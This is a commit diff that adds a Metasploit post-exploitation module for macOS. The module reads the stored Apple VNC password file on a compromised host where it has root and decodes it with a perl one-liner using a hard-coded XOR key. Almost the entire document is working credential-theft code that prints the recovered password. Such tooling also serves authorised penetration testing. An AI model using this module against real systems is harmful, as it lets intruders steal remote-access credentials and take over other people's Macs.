Add vnc password osx

This module show Apple VNC Password from Mac OS X High Sierra.

modules/post/osx/gather/vnc_password_osx.rb

@@ -0,0 +1,50 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/auxiliary/report'
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::OSX::Priv
+  include Msf::Auxiliary::Report
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'OS X Display Apple VNC Password',
+        'Description'   => %q{
+            This module show Apple VNC Password from Mac OS X High Sierra.
+        },
+        'License'       => MSF_LICENSE,
+        'Author'        => [ 'Kevin Gonzalvo <interhack[at]gmail.com>'],
+        'Platform'      => [ 'osx' ],
+        'SessionTypes'  => [ "meterpreter", "shell" ]
+      ))
+
+  end
+
+  def run
+    case session.type
+    when /meterpreter/
+      host = sysinfo["Computer"]
+    when /shell/
+      host = cmd_exec("hostname")
+    end
+
+    print_status("Running module against #{host}")
+
+    if is_root?
+      print_status("This session is running as root!")
+      print_status("Checking VNC Password...")
+      exist = cmd_exec("if [ -f /Library/Preferences/com.apple.VNCSettings.txt ];then echo 1; else echo 0; fi;")
+      if exist == '1'
+        print_good("Password Found: " + cmd_exec("sudo cat /Library/Preferences/com.apple.VNCSettings.txt | perl -wne 'BEGIN { @k = unpack \"C*\", pack \"H*\", \"1734516E8BA8C5E2FF1C39567390ADCA\"}; chomp; @p = unpack \"C*\", pack \"H*\", $_; foreach (@k) { printf\"%c\", $_ ^ (shift @p || 0) };'"))
+      else
+        print_error("The VNC Password has not been found")
+      end
+    else
+      print_error("It is necessary to be root!")
+    end
+  end
+end